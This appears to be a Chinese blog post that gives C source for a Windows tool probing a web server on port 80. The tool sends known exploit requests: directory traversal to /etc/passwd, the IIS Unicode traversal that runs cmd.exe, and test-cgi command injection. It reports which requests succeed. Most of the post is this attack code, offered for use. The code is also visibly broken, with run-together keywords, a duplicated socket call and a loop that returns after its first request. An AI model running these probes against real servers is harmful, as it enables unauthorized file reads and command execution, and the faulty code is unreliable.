网站80端口特殊文件扫描

网站80端口特殊文件扫描

#include <stdio.h>

#include <string.h>

#include <WinSock2.h>

#pragma comment(lib,"ws2_32.lib")

int main(intargc,char*argv[])

{

    if(argc!=2){

        printf("Useage : scan [IP address]\n");

        return(1);

    }

    structsockaddr_in blah;

    structhostent *he;

    WSADATA wsaData;

    inti;

    WORD wVersionRequested;

    SOCKET sock;

    charbuff[1024];

    char*ex[10];

    ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";

    ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\HTTP/1.0\n\n";

    ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";

    ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";

    ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwdHTTP/1.0\n\n";

    ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";

    char*fmsg="HTTP/1.1 200 OK";

    wVersionRequested= MAKEWORD( 2, 2 );

    if(WSAStartup(wVersionRequested , &wsaData)){

        printf("Winsock Initialization failed.\n");

        exit(1);

    }

 

    if((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){

        printf("Can not create socket.\n");

        exit(1);

    }

    sock =socket(AF_INET,SOCK_STREAM,0);

    blah.sin_family= AF_INET;

    blah.sin_port= htons(80);

    blah.sin_addr.s_addr= inet_addr(argv[1]);

    if((he=gethostbyname(argv[1]))!=NULL){

        memcpy((char*)&blah.sin_addr.s_addr,he->h_addr,he->h_length);

    }

    else{

        if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){

            WSACleanup();

            exit(1);

        }

    }

    for(i=1 ; i<7; i++) {

        if(connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){

            send(sock,ex[i],strlen(ex[i]),0);

            recv(sock,buff,sizeof(buff),0);

            if(strstr(buff,fmsg)!=NULL){

                printf("\nFound :%s\n", ex[i]);

            }

        }

        closesocket(sock);

        WSACleanup();

        return(1);

    }

}

1、连接目标主机SERVER；

2、向目标主机发送GET请求；

3、接收目标返回数据；

4、根据返回数据判断文件是否存在。